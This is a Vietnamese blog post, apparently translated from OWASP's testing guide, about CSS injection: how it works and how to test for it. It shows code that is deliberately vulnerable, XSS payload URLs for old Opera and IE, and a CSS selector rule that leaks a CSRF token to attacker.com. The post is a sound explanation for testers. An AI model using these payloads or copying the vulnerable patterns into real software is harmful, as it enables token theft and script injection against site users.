Rate this post

Lỗ hổng CSS Injection liên quan đến khả năng đưa mã CSS tùy ý vào ngữ cảnh của một trang web đáng tin cậy được hiển thị bên trong trình duyệt của nạn nhân. Tác động của loại lỗ hổng bảo mật này khác nhau dựa trên trọng tải CSS được cung cấp. Nó có thể dẫn đến kịch bản trang web chéo hoặc lọc dữ liệu.

Lỗ hổng này xảy ra khi ứng dụng cho phép CSS do người dùng cung cấp can thiệp vào các biểu định kiểu hợp pháp của ứng dụng. Chèn mã trong ngữ cảnh CSS có thể cung cấp cho kẻ tấn công khả năng thực thi JavaScript trong một số điều kiện nhất định hoặc trích xuất các giá trị nhạy cảm bằng cách sử dụng các bộ chọn CSS và các hàm có thể tạo các yêu cầu HTTP. Nói chung, việc cho phép người dùng tùy chỉnh các trang bằng cách cung cấp các tệp CSS tùy chỉnh là một rủi ro đáng kể.

Các bài viết liên quan:

Đoạn mã JavaScript sau đây cho thấy một tập lệnh có thể dễ bị tấn công, trong đó kẻ tấn công có thể kiểm soát location.hash (nguồn) đến hàm cssText (chìm). Trường hợp cụ thể này có thể dẫn đến XSS dựa trên DOM trong các phiên bản trình duyệt cũ hơn; để biết thêm thông tin, hãy xem Trang tính ngăn chặn XSS dựa trên DOM.

<a id="a1">Click me</a>
<script>
    if (location.hash.slice(1)) {
    document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1);
    }
</script>

Kẻ tấn công có thể nhắm mục tiêu nạn nhân bằng cách yêu cầu họ truy cập các URL sau:

  • www.victim.com/#red;-o-link:'<javascript:alert(1)>’;-o-link-source:current; (Opera [8,12])
  • www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)

Lỗ hổng tương tự có thể xuất hiện trong trường hợp XSS được phản ánh, chẳng hạn như trong mã PHP sau:

<style>
p {
    color: <?php echo $_GET['color']; ?>;
    text-align: center;
}
</style>

Các tình huống tấn công khác liên quan đến khả năng trích xuất dữ liệu thông qua việc áp dụng các quy tắc CSS thuần túy. Các cuộc tấn công như vậy có thể được thực hiện thông qua các bộ chọn CSS, dẫn đến việc lọc dữ liệu, ví dụ như mã thông báo CSRF.

Đây là một ví dụ về mã cố gắng chọn đầu vào có tên khớp với csrf_token và giá trị bắt đầu bằng a. Bằng cách sử dụng cuộc tấn công brute-force để xác định giá trị của thuộc tính, có thể thực hiện một cuộc tấn công gửi giá trị đến miền của kẻ tấn công, chẳng hạn như bằng cách cố gắng đặt hình nền trên phần tử đầu vào đã chọn.

<style>
input[name=csrf_token][value=^a] {
    background-image: url(https://attacker.com/log?a);
}
</style>

Các cuộc tấn công khác sử dụng nội dung gạ gẫm như CSS được nêu bật trong bài nói chuyện của Mario Heiderich, “Got Your Nose” trên YouTube.

Mục tiêu kiểm tra

Xác định các điểm chèn CSS.

Đánh giá tác động của việc tiêm.

Làm thế nào để kiểm tra

Mã phải được phân tích để xác định xem người dùng có được phép đưa nội dung vào ngữ cảnh CSS hay không. Đặc biệt, cách thức trang web trả về các quy tắc CSS trên cơ sở các đầu vào cần được kiểm tra.

Sau đây là một ví dụ cơ bản:

<a id="a1">Click me</a>
<b>Hi</b>
<script>
    $("a").click(function(){
        $("b").attr("style","color: " + location.hash.slice(1));
    });
</script>

Đoạn mã trên chứa một địa chỉ mã nguồn (source location.hash), do kẻ tấn công kiểm soát, có thể đưa trực tiếp thuộc tính style của một phần tử HTML vào. Như đã đề cập ở trên, điều này có thể dẫn đến các kết quả khác nhau tùy thuộc vào trình duyệt đang sử dụng và tải trọng được cung cấp.

Các trang sau cung cấp các ví dụ về lỗ hổng chèn CSS:

Để biết thêm các tài nguyên OWASP về cách ngăn chặn đưa vào CSS, hãy xem phần Bảo mật Trang tính gian lận kiểu xếp tầng.

Leave a Reply

Call now
%d bloggers like this: